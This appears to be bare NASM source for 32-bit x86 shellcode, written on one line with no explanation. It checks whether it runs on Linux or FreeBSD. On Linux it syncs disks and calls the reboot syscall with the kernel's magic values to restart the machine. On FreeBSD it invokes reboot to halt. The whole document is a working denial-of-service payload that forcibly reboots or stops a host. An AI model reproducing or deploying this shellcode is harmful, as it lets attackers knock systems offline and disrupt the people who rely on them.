BITS 32 xor eax, eax xor ebx, ebx mov al,39 int 0x80 test eax,eax js linux freebsd: xor eax,eax mov dx,9998 sub dx,9990 mov al, 55 int 0x80 jmp short exit linux: xor eax, eax mov al,36 int 0x80 mov al,36 int 0x80 mov al, 88 mov ebx, 0xfee1dead mov ecx, 672274793 mov edx, 0x1234567 int 0x80 exit: xor eax, eax mov al,1 int 0x80